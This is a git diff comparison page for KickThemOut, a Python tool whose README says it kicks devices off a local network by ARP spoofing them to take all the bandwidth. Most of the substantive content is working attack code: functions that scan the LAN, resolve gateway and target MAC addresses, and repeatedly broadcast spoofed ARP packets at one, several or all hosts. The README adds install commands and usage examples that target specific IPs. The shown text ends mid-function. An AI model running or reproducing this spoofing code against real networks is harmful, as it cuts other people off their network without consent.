Compare commits

..

No commits in common. "master" and "v0.1" have entirely different histories.
master ... v0.1

12 changed files with 344 additions and 1065 deletions

View File

@ -1,32 +0,0 @@
<!--
Hi there! Thank you for bringing an issue to out attention.
Before submitting, let's make sure of a few things.
Please ensure the following boxes are ticked if they apply.
If they do not, please try and fulfill them first.
-->
<!-- Checked checkbox should look like this: [x] -->
## Checklist for submitting an issue to `KickThemOut`:
- [ ] I have carefully read the [README](https://github.com/k4m4/kickthemout/blob/master/README.rst) file and haven't managed to resolve my issue.
- [ ] I have searched the [issues](https://github.com/k4m4/kickthemout/issues?utf8=%E2%9C%93&q=is%3Aissue) of this repo and believe that this is not a duplicate.
- [ ] I am running the latest version of KickThemOut.
<!--
Once all boxes are ticked, it would be very helpful if you could fill in the
following list with the appropriate information.
-->
- **OS name & version**: <!-- Replace with os name & version -->
- **Python version**: <!-- Replace with python version -->
- **Scapy version**: <!-- Replace with kamene version -->
- **Nmap version**: <!-- Replace with nmap version -->
- **Link of [Gist](https://gist.github.com/)**: <!-- Please create a Gist with the response of a `$ sudo python -vvv kickthemout.py` verbosity command & paste the link here -->
<!-- Now feel free to write about your issue; please remember to be as descriptive as possible! Thanks again! 🙌 ❤️ --><br/ >
- **Description**: <!-- Replace with a short description of your issue -->
<!-- Please provide all of the preceding information; otherwise, your issue will be labeled `more-information-needed` and will most probably be ignored. Thank you! -->

28
.gitignore vendored
View File

@ -1,28 +0,0 @@
env/
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
*.egg-info/
*.egg
*.manifest
*.spec
pip-log.txt
pip-delete-this-directory.txt
.scrapy
target/
.python-version
venv/
ENV/
*.pyc
*.tmp
*.bak
*.cfg
__pycache__/

View File

@ -1,28 +0,0 @@
sudo: required
dist: trusty
language: python
python:
- "3.4"
- "3.5"
- "3.6"
install:
- sudo -H python3 -m pip install -r requirements.txt
script:
- sudo -H python3 -c "import kickthemout; import scan; import spoof;"
branches:
only:
- master
addons:
apt:
packages:
- python3
- python3-pip
- nmap
notifications:
email:
on_success: never
on_failure: always

4
CHANGES.rst Normal file
View File

@ -0,0 +1,4 @@
0.1 (05.01.2017)
----------------
- Initial release.

View File

@ -1,6 +1,6 @@
MIT License
Copyright (c) 2017-18 Nikolaos Kamarinakis
Copyright (c) 2017 Nikolaos Kamarinakis
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal

147
README.md
View File

@ -1,147 +0,0 @@
![KickThemOut Logo](http://nikolaskama.me/content/images/2017/02/kickthemout_small.png)
# KickThemOut
> [KickThemOut](https://nikolaskama.me/kickthemoutproject) - **Kick Devices Off Your Network**
A tool to kick devices out of your network and enjoy all the bandwidth for yourself.
It allows you to select specific or all devices and ARP spoofs them off your local area network.
- Compatible with Python **3+** 🎉.
- *Not* compatible with Windows.
Authors: [Nikolaos Kamarinakis](mailto:nikolaskam@gmail.com) & [David Schütz](mailto:xdavid@protonmail.com).
[![Build Badge](https://travis-ci.org/k4m4/kickthemout.svg?branch=master)](https://travis-ci.org/k4m4/kickthemout)
[![License Badge](https://img.shields.io/badge/license-MIT-blue.svg)](https://github.com/k4m4/kickthemout/blob/master/LICENSE)
[![Compatibility](https://img.shields.io/badge/python-3-brightgreen.svg)](https://github.com/k4m4/kickthemout)
[![GitHub Stars](https://img.shields.io/github/stars/k4m4/kickthemout.svg)](https://github.com/k4m4/kickthemout/stargazers)
---
<p align="center">✨Read my latest post: <a href="https://nikolaskama.me/kickthemout-v2-0/"><i>KickThemout v2.0! 🎉</i></a></p>
-------------
# Installation
## Debian Installation
You can download KickThemOut by cloning the [Git Repo](https://github.com/k4m4/kickthemout) and simply installing its requirements:
```
~ sudo apt-get update && sudo apt-get install nmap
~ git clone https://github.com/k4m4/kickthemout.git
~ cd kickthemout/
~/kickthemout sudo -H pip3 install -r requirements.txt
~/kickthemout sudo python3 kickthemout.py
```
## MacOS Installation
If you would like to install KickThemOut on a Mac, please run the following:
```
~ brew install libdnet nmap
~ git clone https://github.com/k4m4/kickthemout.git
~ cd kickthemout/
~/kickthemout sudo -H pip3 install -r requirements.txt
~/kickthemout sudo python3 kickthemout.py
```
**NOTE**: You need to have [Homebrew](http://brew.sh/) installed before running the Mac OS installation.
Also, **keep in mind** that you might be asked to run some extra commands after executing the pip requirement installation.
## ArchLinux Installation
You can download KickThemOut on an Arch based system by executing the following:
```
~ git clone https://github.com/k4m4/kickthemout.git
~ cd kickthemout/
~/kickthemout sudo -H pip3 install -r requirements.txt
~/kickthemout sudo python3 kickthemout.py
```
<br/>
# Usage
```
Usage: sudo python3 kickthemout.py [options]
Options:
--version show program's version number and exit
-h, --help show this help message and exit
-p PACKETS, --packets=PACKETS
number of packets broadcasted per minute (default: 6)
-s, --scan perform a quick network scan and exit
-t TARGETS, --target=TARGETS
specify target IP address(es) and perform attack
Examples:
sudo python3 kickthemout.py --target 192.168.1.10
sudo python3 kickthemout.py -t 192.168.1.5,192.168.1.10 -p 30
sudo python3 kickthemout.py (interactive mode)
```
To view all available options run:
```
~/kickthemout sudo python3 kickthemout.py -h
```
<br/>
# Demo
Here's a short demo:
[![Asciinema Demo](https://nikolaskama.me/content/images/2017/01/kickthemout_asciinema.png)](https://asciinema.org/a/98200?autoplay=1&loop=1)
(For more demos click [here](https://asciinema.org/~k4m4))
<br/>
# Developers
* Nikolaos Kamarinakis - [@nikolaskama](https://twitter.com/nikolaskama)
* David Schütz - [@xdavidhu](https://twitter.com/xdavidhu)
<br/>
# Disclaimer
KickThemOut is provided as is under the MIT Licence (as stated below).
It is built for educational purposes *only*. If you choose to use it otherwise, the developers will not be held responsible. Please, do not use it with evil intent.
<br/>
# License
Copyright (c) 2017-18 by [Nikolaos Kamarinakis](mailto:nikolaskam@gmail.com) & [David Schütz](mailto:xdavid@protonmail.com). Some rights reserved.
KickThemOut is under the terms of the [MIT License](https://www.tldrlegal.com/l/mit), following all clarifications stated in the [license file](https://raw.githubusercontent.com/k4m4/kickthemout/master/LICENSE).
For more information head over to the [official project page](https://nikolaskama.me/kickthemoutproject).
You can also go ahead and email me anytime at **nikolaskam{at}gmail{dot}com** or David at **xdavid{at}protonmail{dot}com**.

52
README.rst Normal file
View File

@ -0,0 +1,52 @@
KickThemOut
============
`KickThemOut <https://nikolaskama.me/kickthemoutproject/>`_ - **Kick Devices Off Your Network**
A tool to kick devices out of your network and enjoy all the bandwidth for yourself.
It allows you to select specific or all devices and ARP spoofs them off your local area network.
Compatible with Python 2.6 & 2.7.
Authors: `Nikolaos Kamarinakis <mailto:nikolaskam@gmail.com>`_ & `David Schütz <mailto:xdavid@protonmail.com>`_
.. image:: https://nikolaskama.me/content/images/2017/01/kickthemout.png
Installation
-------------
You can download KickThemOut by cloning the `Git Repo <https://github.com/k4m4/kickthemout>`_ and simply installing its requirements::
$ git clone https://github.com/k4m4/kickthemout.git
$ cd kickthemout
$ pip install -r requirements.txt
Demo
-----
Here's a short demo:
.. image:: https://nikolaskama.me/content/images/2017/01/kickthemout_asciinema.png
:target: https://asciinema.org/a/98200?autoplay=1&loop=1
(For more demos click `here <https://asciinema.org/~k4m4>`_)
Disclaimer
-----------
KickThemOut is provided as is under the MIT Licence (as stated below).
It is built for educational purposes only. If you choose to use it otherwise, the developers will not be held responsible.
In brief, do not use it with evil intent.
License
--------
Copyright (c) 2017 by `Nikolaos Kamarinakis <mailto:nikolaskam@gmail.com>`_ & `David Schütz <mailto:xdavid@protonmail.com>`_. Some rights reserved.
KickThemOut is under the terms of the `MIT License <https://www.tldrlegal.com/l/mit>`_, following all clarifications stated in the `license file <https://raw.githubusercontent.com/k4m4/kickthemout/master/LICENSE>`_.
For more information head over to the `official project page <https://nikolaskama.me/kickthemoutproject/>`_.
You can also go ahead and email me anytime at **nikolaskam{at}gmail{dot}com** or David at **xdavid{at}protonmail{dot}com**.

View File

@ -1,74 +0,0 @@
# Contributor Covenant Code of Conduct
## Our Pledge
In the interest of fostering an open and welcoming environment, we as
contributors and maintainers pledge to making participation in our project and
our community a harassment-free experience for everyone, regardless of age, body
size, disability, ethnicity, gender identity and expression, level of experience,
nationality, personal appearance, race, religion, or sexual identity and
orientation.
## Our Standards
Examples of behavior that contributes to creating a positive environment
include:
* Using welcoming and inclusive language
* Being respectful of differing viewpoints and experiences
* Gracefully accepting constructive criticism
* Focusing on what is best for the community
* Showing empathy towards other community members
Examples of unacceptable behavior by participants include:
* The use of sexualized language or imagery and unwelcome sexual attention or
advances
* Trolling, insulting/derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or electronic
address, without explicit permission
* Other conduct which could reasonably be considered inappropriate in a
professional setting
## Our Responsibilities
Project maintainers are responsible for clarifying the standards of acceptable
behavior and are expected to take appropriate and fair corrective action in
response to any instances of unacceptable behavior.
Project maintainers have the right and responsibility to remove, edit, or
reject comments, commits, code, wiki edits, issues, and other contributions
that are not aligned to this Code of Conduct, or to ban temporarily or
permanently any contributor for other behaviors that they deem inappropriate,
threatening, offensive, or harmful.
## Scope
This Code of Conduct applies both within project spaces and in public spaces
when an individual is representing the project or its community. Examples of
representing a project or community include using an official project e-mail
address, posting via an official social media account, or acting as an appointed
representative at an online or offline event. Representation of a project may be
further defined and clarified by project maintainers.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be
reported by contacting the project team at nikolaskam@gmail.com. All
complaints will be reviewed and investigated and will result in a response that
is deemed necessary and appropriate to the circumstances. The project team is
obligated to maintain confidentiality with regard to the reporter of an incident.
Further details of specific enforcement policies may be posted separately.
Project maintainers who do not follow or enforce the Code of Conduct in good
faith may face temporary or permanent repercussions as determined by other
members of the project's leadership.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,
available at [http://contributor-covenant.org/version/1/4][version]
[homepage]: http://contributor-covenant.org
[version]: http://contributor-covenant.org/version/1/4/

View File

@ -1,51 +1,25 @@
#!/usr/bin/env python3
#!/usr/bin/env python
# -.- coding: utf-8 -.-
# kickthemout.py
# authors: k4m4 & xdavidhu
"""
Copyright (C) 2017-18 Nikolaos Kamarinakis (nikolaskam@gmail.com) & David Schütz (xdavid@protonmail.com)
Copyright (C) 2016 Nikolaos Kamarinakis (nikolaskam@gmail.com) & David Schütz (xdavid@protonmail.com)
See License at nikolaskama.me (https://nikolaskama.me/kickthemoutproject)
"""
import os, sys, logging, math, traceback, optparse, threading
import time, os, sys, logging, math
import scan, spoof
from time import sleep
BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m', '\33[93m', '\033[1;35m', '\033[1;32m', '\033[0m'
try:
# check whether user is root
if os.geteuid() != 0:
print("\n{}ERROR: KickThemOut must be run with root privileges. Try again with sudo:\n\t{}$ sudo python3 kickthemout.py{}\n".format(RED, GREEN, END))
os._exit(1)
except:
# then user is probably on windows
pass
def shutdown():
print('\n\n{}Thanks for dropping by.'
'\nCatch ya later!{}'.format(GREEN, END))
os._exit(0)
import urllib2 as urllib
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # Shut up scapy!
try:
from scapy.config import conf
conf.ipv6_enabled = False
from scapy.all import *
import scan, spoof, nmap
from urllib.request import urlopen, Request
from urllib.error import URLError
except KeyboardInterrupt:
shutdown()
except:
print("\n{}ERROR: Requirements have not been satisfied properly. Please look at the README file for configuration instructions.".format(RED))
print("\n{}If you still cannot resolve this error, please submit an issue here:\n\t{}https://github.com/k4m4/kickthemout/issues\n\n{}Details: {}{}{}".format(RED, BLUE, RED, GREEN, str(sys.exc_info()[1]), END))
os._exit(1)
BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m', '\33[93m', '\033[1;35m', '\033[1;32m', '\033[0m'
# display heading
def heading():
spaces = " " * 76
sys.stdout.write(GREEN + spaces + """
sys.stdout.write(GREEN + """
@ -53,91 +27,188 @@ def heading():
""" + END + BLUE +
'\n' + '{}Kick Devices Off Your LAN ({}KickThemOut{}){}'.format(YELLOW, RED, YELLOW, BLUE).center(98) +
'\n' + 'Made With <3 by: {0}Nikolaos Kamarinakis ({1}k4m4{2}) & {0}David Schütz ({1}xdavidhu{2}){3}'.format(YELLOW, RED, YELLOW, BLUE).center(111) +
'\n' + 'Version: {}2.0{} \n'.format(YELLOW, END).center(86))
'\n' + '{0}Kick Devices Off Your LAN ({1}KickThemOut{2}){3}'.format(YELLOW, RED, YELLOW, BLUE).center(98) +
'\n' + 'Made With <3 by: {0}Nikolaos Kamarinakis ({1}k4m4{2}) & {0}David Schütz ({1}xdavidhu{2}){3}'.format(
YELLOW, RED, YELLOW, BLUE).center(111) +
'\n' + 'Version: {0}0.1{1}\n'.format(YELLOW, END).center(86))
# loading animation during network scan
def scanningAnimation(text):
try:
global stopAnimation
i = 0
while stopAnimation is not True:
tempText = list(text)
if i >= len(tempText):
i = 0
tempText[i] = tempText[i].upper()
tempText = ''.join(tempText)
sys.stdout.write(GREEN + tempText + '\r' + END)
sys.stdout.flush()
i += 1
time.sleep(0.1)
except:
os._exit(1)
# display options
def optionBanner():
print('\nChoose an option from the menu:\n')
print('\nChoose option from menu:\n')
sleep(0.2)
print('\t{}[{}1{}]{} Kick ONE Off'.format(YELLOW, RED, YELLOW, WHITE))
print('\t{0}[{1}1{2}]{3} Kick ONE Off').format(YELLOW, RED, YELLOW, WHITE)
sleep(0.2)
print('\t{}[{}2{}]{} Kick SOME Off'.format(YELLOW, RED, YELLOW, WHITE))
print('\t{0}[{1}2{2}]{3} Kick SOME Off').format(YELLOW, RED, YELLOW, WHITE)
sleep(0.2)
print('\t{}[{}3{}]{} Kick ALL Off'.format(YELLOW, RED, YELLOW, WHITE))
print('\t{0}[{1}3{2}]{3} Kick ALL Off').format(YELLOW, RED, YELLOW, WHITE)
sleep(0.2)
print('\n\t{}[{}E{}]{} Exit KickThemOut\n'.format(YELLOW, RED, YELLOW, WHITE))
print('\n\t{0}[{1}E{2}]{3} Exit KickThemOut\n').format(YELLOW, RED, YELLOW, WHITE)
def regenOnlineIPs():
global onlineIPs
global defaultGatewayMac
onlineIPs = []
for host in hostsList:
onlineIPs.append(host[0])
if host[0] == defaultGatewayIP:
defaultGatewayMac = host[1]
# initiate debugging process
def runDebug():
print("\n\n{}WARNING! An unknown error has occurred, starting debug...{}".format(RED, END))
print(
"{}Starting debug... (Please report this crash on 'https://github.com/k4m4/kickthemout/issues' with your private information removed where necessary){}".format(
RED, END))
try:
print("Current defaultGatewayMac: " + defaultGatewayMac)
except:
print("Failed to print defaultGatewayMac...")
try:
print("Reloading MAC retriever function...")
def scanNetwork():
global hostsList
hostsList = scan.scanNetwork()
regenOnlineIPs()
print("Reloaded defaultGatewayMac: " + defaultGatewayMac)
except:
print("Failed to reload MAC retriever function / to print defaultGatewayMac...")
try:
print("Known gateway IP: " + defaultGatewayIP)
except:
print("Failed to print defaultGatewayIP...")
try:
print("Crash trace: ")
print(traceback.format_exc())
except:
print("Failed to print crash trace...")
print("DEBUG FINISHED.\nShutting down...")
print("{}".format(END))
os._exit(1)
def kickoneoff():
os.system("clear||cls")
print("\n{0}kickONEOff{1} selected...{2}\n").format(RED, GREEN, END)
scanNetwork()
# make sure there is an internet connection
def checkInternetConnection():
print("Online IPs: ")
for i in range(len(onlineIPs)):
mac = ""
for host in hostsList:
if host[0] == onlineIPs[i]:
mac = host[1]
vendor = resolveMac(mac)
print(" [{0}" + str(i) + "{1}] {2}" + str(onlineIPs[i]) + "{3}\t"+ vendor + "{4}").format(YELLOW, WHITE, RED, GREEN, END)
canBreak = False
while not canBreak:
try:
urlopen('https://github.com', timeout=3)
return True
except URLError as err:
return False
choice = int(raw_input("\nChoose a target: "))
one_target_ip = onlineIPs[choice]
canBreak = True
except KeyboardInterrupt:
shutdown()
return
except:
print("\n{0}ERROR: Please enter a number from the list!{1}").format(RED, END)
one_target_mac = ""
for host in hostsList:
if host[0] == one_target_ip:
one_target_mac = host[1]
if one_target_mac == "":
print("\nIP address is not up. Please try again.")
return
print("\n{0}Target: {1}" + one_target_ip).format(GREEN, END)
print("\n{0}Spoofing started... {1}").format(GREEN, END)
try:
while True:
spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, one_target_ip, one_target_mac)
time.sleep(10)
except KeyboardInterrupt:
print("\n{0}Re-arping{1} target...{2}").format(RED, GREEN, END)
reArp = 1
while reArp != 10:
spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, one_target_ip, one_target_mac)
reArp += 1
time.sleep(0.5)
print("{0}Re-arped{1} target successfully.{2}").format(RED, GREEN, END)
def kicksomeoff():
os.system("clear||cls")
# retrieve network interface
def getDefaultInterface(returnNet=False):
print("\n{0}kickSOMEOff{1} selected...{2}\n").format(RED, GREEN, END)
scanNetwork()
print("Online IPs: ")
for i in range(len(onlineIPs)):
mac = ""
for host in hostsList:
if host[0] == onlineIPs[i]:
mac = host[1]
vendor = resolveMac(mac)
print(" [{0}" + str(i) + "{1}] {2}" + str(onlineIPs[i]) + "{3}\t" + vendor + "{4}").format(YELLOW, WHITE, RED, GREEN, END)
canBreak = False
while not canBreak:
try:
choice = raw_input("\nChoose devices to target(comma-separated): ")
if ',' in choice:
some_targets = choice.split(",")
canBreak = True
else:
print("\n{0}ERROR: Please select more than 1 devices from the list.{2}\n").format(RED, END)
except KeyboardInterrupt:
return
some_ipList = ""
for i in some_targets:
try:
some_ipList += GREEN + "'" + RED + onlineIPs[int(i)] + GREEN + "', "
except KeyboardInterrupt:
return
except:
print("\n{0}ERROR: '{1}" + i + "{2}' is not in the list.{3}\n").format(RED, GREEN, RED, END)
return
some_ipList = some_ipList[:-2] + END
print("\n{0}Targets: {1}" + some_ipList).format(GREEN, END)
print("\n{0}Spoofing started... {1}").format(GREEN, END)
try:
while True:
for i in some_targets:
ip = onlineIPs[int(i)]
for host in hostsList:
if host[0] == ip:
spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1])
time.sleep(10)
except KeyboardInterrupt:
print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END)
reArp = 1
while reArp != 10:
for i in some_targets:
ip = onlineIPs[int(i)]
for host in hostsList:
if host[0] == ip:
spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
reArp += 1
time.sleep(0.5)
print("{0}Re-arped{1} targets successfully.{2}").format(RED, GREEN, END)
def kickalloff():
os.system("clear||cls")
print("\n{0}kickALLOff{1} selected...{2}\n").format(RED, GREEN, END)
scanNetwork()
print("Online IPs: ")
for i in range(len(onlineIPs)):
mac = ""
for host in hostsList:
if host[0] == onlineIPs[i]:
mac = host[1]
vendor = resolveMac(mac)
print(str(" {0}"+ str(onlineIPs[i]) + "{1}\t" + vendor + "{2}").format(RED, GREEN, END))
print("\n{0}Spoofing started... {1}").format(GREEN, END)
try:
reScan = 0
while True:
for host in hostsList:
if host[0] != defaultGatewayIP:
spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1])
reScan += 1
if reScan == 4:
reScan = 0
scanNetwork()
time.sleep(10)
except KeyboardInterrupt:
print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END)
reArp = 1
while reArp != 10:
for host in hostsList:
if host[0] != defaultGatewayIP:
spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
reArp += 1
time.sleep(0.5)
print("{0}Re-arped{1} targets successfully.{2}").format(RED, GREEN, END)
def getDefaultInterface():
def long2net(arg):
if (arg <= 0 or arg >= 0xFFFFFFFF):
raise ValueError("illegal netmask value", hex(arg))
@ -149,648 +220,76 @@ def getDefaultInterface(returnNet=False):
if netmask < 16:
return None
return net
iface_routes = [route for route in scapy.config.conf.route.routes if route[3] == scapy.config.conf.iface and route[1] != 0xFFFFFFFF]
network, netmask, _, interface, address, _ = max(iface_routes, key=lambda item:item[1])
for network, netmask, _, interface, address in scapy.config.conf.route.routes:
if network == 0 or interface == 'lo' or address == '127.0.0.1' or address == '0.0.0.0':
continue
if netmask <= 0 or netmask == 0xFFFFFFFF:
continue
net = to_CIDR_notation(network, netmask)
if interface != scapy.config.conf.iface:
continue
if net:
if returnNet:
return net
else:
return interface
# retrieve default interface MAC address
def getDefaultInterfaceMAC():
try:
defaultInterfaceMac = get_if_hwaddr(defaultInterface)
if defaultInterfaceMac == "" or not defaultInterfaceMac:
print(
"\n{}ERROR: Default Interface MAC Address could not be obtained. Please enter MAC manually.{}\n".format(
RED, END))
header = ('{}kickthemout{}> {}Enter MAC Address {}(MM:MM:MM:SS:SS:SS): '.format(BLUE, WHITE, RED, END))
return (input(header))
else:
return defaultInterfaceMac
except:
# request interface MAC address (after failed detection by scapy)
print("\n{}ERROR: Default Interface MAC Address could not be obtained. Please enter MAC manually.{}\n".format(RED, END))
header = ('{}kickthemout{}> {}Enter MAC Address {}(MM:MM:MM:SS:SS:SS): '.format(BLUE, WHITE, RED, END))
return (input(header))
# retrieve gateway IP
def getGatewayIP():
global stopAnimation
try:
getGateway, timeout = sr1(IP(dst="github.com", ttl=0) / ICMP() / "XXXXXXXXXXX", verbose=False, timeout=4)
if timeout:
raise Exception()
return getGateway.src
except:
# request gateway IP address (after failed detection by scapy)
stopAnimation = True
print("\n{}ERROR: Gateway IP could not be obtained. Please enter IP manually.{}\n".format(RED, END))
header = ('{}kickthemout{}> {}Enter Gateway IP {}(e.g. 192.168.1.1): '.format(BLUE, WHITE, RED, END))
return (input(header))
getGateway_p = sr1(IP(dst="google.com", ttl=0) / ICMP() / "XXXXXXXXXXX", verbose=False)
return getGateway_p.src
# retrieve host MAC address
def retrieveMACAddress(host):
try:
query = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=host)
ans, _ = srp(query, timeout=2, verbose=0)
for _, rcv in ans:
return rcv[Ether].src
break
except:
return False
# resolve mac address of each vendor
def resolveMac(mac):
try:
# send request to macvendors.co
url = "http://macvendors.co/api/vendorname/"
request = Request(url + mac, headers={'User-Agent': "API Browser"})
response = urlopen(request)
request = urllib.Request(url + mac, headers={'User-Agent': "API Browser"})
response = urllib.urlopen(request)
vendor = response.read()
vendor = vendor.decode("utf-8")
vendor = vendor[:25]
return vendor
except KeyboardInterrupt:
shutdown()
except:
return "N/A"
# regenerate online IPs array & configure gateway
def regenOnlineIPs():
global onlineIPs, defaultGatewayMac, defaultGatewayMacSet, stopAnimation
if not defaultGatewayMacSet:
defaultGatewayMac = ""
onlineIPs = []
for host in hostsList:
onlineIPs.append(host[0])
if not defaultGatewayMacSet:
if host[0] == defaultGatewayIP:
defaultGatewayMac = host[1]
if not defaultGatewayMacSet and defaultGatewayMac == "":
# request gateway MAC address (after failed detection by scapy)
stopAnimation = True
print("\n{}ERROR: Default Gateway MAC Address could not be obtained. Please enter MAC manually.{}\n".format(RED, END))
header = ("{}kickthemout{}> {}Enter your gateway's MAC Address {}(MM:MM:MM:SS:SS:SS): ".format(BLUE, WHITE, RED, END))
defaultGatewayMac = input(header)
defaultGatewayMacSet = True
# scan network
def scanNetwork():
global hostsList
try:
# call scanning function from scan.py
hostsList = scan.scanNetwork(getDefaultInterface(True))
except KeyboardInterrupt:
shutdown()
except:
print("\n\n{}ERROR: Network scanning failed. Please check your requirements configuration.{}".format(RED, END))
print("\n{}If you still cannot resolve this error, please submit an issue here:\n\t{}https://github.com/k4m4/kickthemout/issues\n\n{}Details: {}{}{}".format(RED, BLUE, RED, GREEN, str(sys.exc_info()[1]), END))
os._exit(1)
try:
regenOnlineIPs()
except KeyboardInterrupt:
shutdown()
# non-interactive attack
def nonInteractiveAttack():
print("\n{}nonInteractiveAttack{} activated...{}\n".format(RED, GREEN, END))
target = options.targets
print("\n{}Target(s): {}{}".format(GREEN, END, ", ".join(target)))
global stopAnimation
stopAnimation = False
t = threading.Thread(target=scanningAnimation, args=('Checking target status...',))
t.daemon = True
t.start()
try:
nm = nmap.PortScanner()
counter = 0
for host in target:
a = nm.scan(hosts=host, arguments='-sn')
if a['scan'] != {}:
for k, v in a['scan'].items():
if str(v['status']['state']) == 'up':
pass
else:
if len(target) == 1 or counter == len(target)-1:
stopAnimation = True
sys.stdout.write("\033[K")
print("\n{}ERROR: Target {}{}{} doesn't seem to be alive. Exiting...{}".format(RED, END, str(host), RED, END))
os._exit(1)
else:
sys.stdout.write("\033[K")
print("\n{}WARNING: Target {}{}{} doesn't seem be alive. Skipping...{}".format(RED, END, str(host), RED, END))
target.remove(host)
counter += 1
pass
else:
if len(target) == 1 or counter == len(target)-1:
stopAnimation = True
sys.stdout.write("\033[K")
print("\n{}ERROR: Target {}{}{} doesn't seem to be alive. Exiting...{}".format(RED, END, str(host), RED, END))
os._exit(1)
else:
sys.stdout.write("\033[K")
print("\n{}WARNING: Target {}{}{} doesn't seem be alive. Skipping...{}".format(RED, END, str(host), RED, END))
target.remove(host)
counter += 1
pass
stopAnimation = True
sys.stdout.write("\033[K")
defaultGatewayIP = getGatewayIP()
defaultGatewayMac = retrieveMACAddress(defaultGatewayIP)
except KeyboardInterrupt:
shutdown()
if options.packets is not None:
print("\n{}Spoofing started... {}( {} pkts/min )".format(GREEN, END, str(options.packets)))
else:
print("\n{}Spoofing started... {}".format(GREEN, END))
try:
while True:
# broadcast malicious ARP packets
for i in target:
ipAddress = i
macAddress = retrieveMACAddress(ipAddress)
if macAddress == False:
print("\n{}ERROR: MAC address of target host could not be retrieved! Maybe host is down?{}".format(RED, END))
os._exit(1)
spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, ipAddress, macAddress)
if options.packets is not None:
time.sleep(60/float(options.packets))
else:
time.sleep(10)
except KeyboardInterrupt:
# re-arp targets on KeyboardInterrupt exception
print("\n{}Re-arping{} target(s)...{}".format(RED, GREEN, END))
reArp = 1
while reArp != 10:
# broadcast ARP packets with legitimate info to restore connection
for i in target:
ipAddress = i
try:
macAddress = retrieveMACAddress(ipAddress)
except:
print("\n{}ERROR: MAC address of target host could not be retrieved! Maybe host is down?{}".format(RED, END))
os._exit(1)
try:
spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, ipAddress, macAddress)
except KeyboardInterrupt:
pass
except:
runDebug()
reArp += 1
time.sleep(0.2)
print("{}Re-arped{} target(s) successfully.{}".format(RED, GREEN, END))
# kick one device
def kickoneoff():
os.system("clear||cls")
print("\n{}kickONEOff{} selected...{}\n".format(RED, GREEN, END))
global stopAnimation
stopAnimation = False
t = threading.Thread(target=scanningAnimation, args=('Hang on...',))
t.daemon = True
t.start()
# commence scanning process
try:
scanNetwork()
except KeyboardInterrupt:
shutdown()
stopAnimation = True
print("Online IPs: ")
for i in range(len(onlineIPs)):
mac = ""
for host in hostsList:
if host[0] == onlineIPs[i]:
mac = host[1]
try:
hostname = utils.socket.gethostbyaddr(onlineIPs[i])[0]
except:
hostname = "N/A"
vendor = resolveMac(mac)
print(" [{}{}{}] {}{}{}\t{}{}\t{} ({}{}{}){}".format(YELLOW, str(i), WHITE, RED, str(onlineIPs[i]), BLUE, mac, GREEN, vendor, YELLOW, hostname, GREEN, END))
canBreak = False
while not canBreak:
try:
choice = int(input("\nChoose a target: "))
oneTargetIP = onlineIPs[choice]
canBreak = True
except KeyboardInterrupt:
shutdown()
except:
print("\n{}ERROR: Please enter a number from the list!{}".format(RED, END))
# locate MAC of specified device
oneTargetMAC = ""
for host in hostsList:
if host[0] == oneTargetIP:
oneTargetMAC = host[1]
if oneTargetMAC == "":
print("\nIP address is not up. Please try again.")
return
print("\n{}Target: {}{}".format(GREEN, END, oneTargetIP))
if options.packets is not None:
print("\n{}Spoofing started... {}( {} pkts/min )".format(GREEN, END, str(options.packets)))
else:
print("\n{}Spoofing started... {}".format(GREEN, END))
try:
while True:
# broadcast malicious ARP packets
spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, oneTargetIP, oneTargetMAC)
if options.packets is not None:
time.sleep(60/float(options.packets))
else:
time.sleep(10)
except KeyboardInterrupt:
# re-arp target on KeyboardInterrupt exception
print("\n{}Re-arping{} target...{}".format(RED, GREEN, END))
reArp = 1
while reArp != 10:
try:
# broadcast ARP packets with legitimate info to restore connection
spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
except KeyboardInterrupt:
pass
except:
runDebug()
reArp += 1
time.sleep(0.2)
print("{}Re-arped{} target successfully.{}".format(RED, GREEN, END))
# kick multiple devices
def kicksomeoff():
os.system("clear||cls")
print("\n{}kickSOMEOff{} selected...{}\n".format(RED, GREEN, END))
global stopAnimation
stopAnimation = False
t = threading.Thread(target=scanningAnimation, args=('Hang on...',))
t.daemon = True
t.start()
# commence scanning process
try:
scanNetwork()
except KeyboardInterrupt:
shutdown()
stopAnimation = True
print("Online IPs: ")
for i in range(len(onlineIPs)):
mac = ""
for host in hostsList:
if host[0] == onlineIPs[i]:
mac = host[1]
try:
hostname = utils.socket.gethostbyaddr(onlineIPs[i])[0]
except:
hostname = "N/A"
vendor = resolveMac(mac)
print(" [{}{}{}] {}{}{}\t{}{}\t{} ({}{}{}){}".format(YELLOW, str(i), WHITE, RED, str(onlineIPs[i]), BLUE, mac, GREEN, vendor, YELLOW, hostname, GREEN, END))
canBreak = False
while not canBreak:
try:
choice = input("\nChoose devices to target (comma-separated): ")
if ',' in choice:
someTargets = choice.split(",")
canBreak = True
else:
print("\n{}ERROR: Please select more than 1 devices from the list.{}\n".format(RED, END))
except KeyboardInterrupt:
shutdown()
someIPList = ""
for i in someTargets:
try:
someIPList += onlineIPs[int(i)] + ", "
except KeyboardInterrupt:
shutdown()
except:
print("\n{}ERROR: '{}{}{}' is not in the list.{}\n".format(RED, GREEN, i, RED, END))
return
someIPList = someIPList[:-2] + END
print("\n{}Targets: {}{}".format(GREEN, END, someIPList))
if options.packets is not None:
